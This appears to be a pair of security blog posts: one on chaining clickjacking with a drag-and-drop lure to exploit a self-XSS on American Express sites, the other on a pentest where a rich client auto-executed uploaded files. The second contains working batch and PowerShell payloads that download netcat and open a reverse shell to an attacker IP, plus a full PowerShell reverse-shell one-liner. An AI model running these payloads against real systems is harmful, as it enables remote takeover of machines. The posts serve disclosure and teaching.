Exploiting a Self XSS On American Express

Sometime ago, ‘American Express‘ had launched its bug bounty program and I was on hunt for some bugs to report($). During which I found an XSS vulnerability on the search field of the page; but there was a catch!

The catch was that it was a Self XSS! i.e. the victim had to manually copy paste the malicious payload into the vulnerable field and click on search; for the code to execute in his/her browser. (Too much to ask for?)

As you know, bug bounty platforms clearly state that they do not accept any self XSS unless and until you have an exploitation scenario!

I started looking for a way to exploit this issue and found that the site was also vulnerable to ‘Clickjacking‘.

Note: The ‘search’ request was being handled by another subdomain in the backend and traditional methods had limited exploitability.

By utilizing the Clickjacking issue and combining it with the Drag-Drop game technique, it was possible to create an exploitation scenario; wherein the victim had to complete a series of steps for the payload to execute!

The Drag and drop games technique lures victims into playing apparently harmless short games by offering a ‘prize’ or challenging them to beat a certain completion time. In most cases the games consist of dragging certain objects (images of balls, fruit or letters) into corresponding table columns or containers (basket, fridge, etc.).

You can read more about it here.

Also, I found that almost all the ‘*.americanexpress‘ domains had the exact same functionality present on their landing page and were vulnerable, as shown below:

ezgif.com-video-to-gif (1)

Behind the Scenes:

By abusing the features of HTML / CSS, an attacker can set a transparent iframe; which allows overlaying of invisible iframe over legitimate websites, thus luring the victim into clicking on objects of the attacker’s choice, while being under the impression that they are browsing a harmless web page.


#trans {
overflow: hidden;
#holder {
overflow: hidden;

<di/v id=”holder”>
<i/frame src=”” height=”240″ width=”320″ scrolling=”no” id=”trans”></iframe>

In simple words…What you’re really making the victim do is, drag the XSS payload into the vulnerable field and click on ‘Search’.


Reported & Fixed.

Bounty: Yes.


A Rich Client Shell


Outlined below is a technique which was found during one of my security assessments, using which it was possible to get a reverse shell of a windows system via rich client.

Rich Client:

A rich client is a networked computer that has some resources installed locally but also depends on other resources distributed over the network. The rich client’s configuration is somewhere between that of a thin client, which relies largely upon network-distributed resources, and a fat client which has most resources installed locally.

– Internet

It was a five day assessment and to be frank I wouldn’t say the testing was going really well. The application was huge, comprising various environments, functionalities and modules to be tested; and the developers of the application had made sure that most of the things were secure except for this one module about which you will find out by the end of the blog.

So, the only thing I could get my hands on were some sensitive stuff like username/password, Server details, etc. stored in the log files of the system. The client-server traffic was encrypted and most of the interception methods failed.

During this process I came across multiple upload functionalities that were accessible to all users 😈

Note: The application had multiple user groups and I was given few roles for testing. The users within the same group had access to each other’s data.

As it was a confidential application , we were supposed to verify the Antivirus checks at the server side #OrganizationGoals. Hence, I tried uploading the famous ‘eicar.exe‘ anti-virus test file, to check the behavior of the application.

Upload Successful :mrgreen:

I tried double clicking on the uploaded ‘eicar.exe’ file and was interrupted by this popup:


Notice the Path? C:\Users\XYZ\AppData\Local\Temp\eicar_Internal.exe

Firstly, what is ‘eicar_Internal.exe’ ? and what’s it doing in the ‘Temp’ folder?

Secondly, why exactly was the file caught by the antivirus?

After a bit of playing around with the application, I noticed that whenever a user tried to access any of the uploaded files, the application downloads a copy of that particular file onto the user’s system with the following name ‘_Internal‘ and EXECUTES the same without user interaction.

Simpler words eicar.exe is renamed to eicar_Internal.exe and executed.


I Immediately switched to another VM and logged into the application as a different user. The results were the same.

eicar_Internal.exe‘ is downloaded and executed from the TEMP folder.


I guess everyone knows by now what the ultimate goal is?

I wrote some scripts, which would use powershell to download our best friend netcat onto the victim’s system and throw a shell back to the attacker.

Using Batch:

@echo off
powershell -Command “(New-Object Net.WebClient).DownloadFile(‘https://github.com/diegocr/netcat/raw/master/nc.exe‘, ‘nc_Internal.exe’)”
nc_Internal.exe <Attacker’s IP> 8888 -e cmd.exe

Using Powershell:

Set-ExecutionPolicy Unrestricted
$webclient = New-Object System.Net.WebClient
$url = “https://github.com/diegocr/netcat/raw/master/nc.exe
$file = “/<Download_Path>/nc_Internal.exe”
$end = ‘$file AttackersIP 8888 -e cmd.exe’
iex “& $end”

For people who have issues with antivirus while downloading netcat onto the victim’s system…Do not worry!

My friend Aamer, has written a ps code; which helps us get a shell without the need of netcat:

$client = New-Object System.Net.Sockets.TCPClient(‘AttackersIP’,443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length)}

Finally, when the victim tries to access the the uploaded file…Game Over!

Just make sure you’re listening!


 Hope you enjoyed the blog!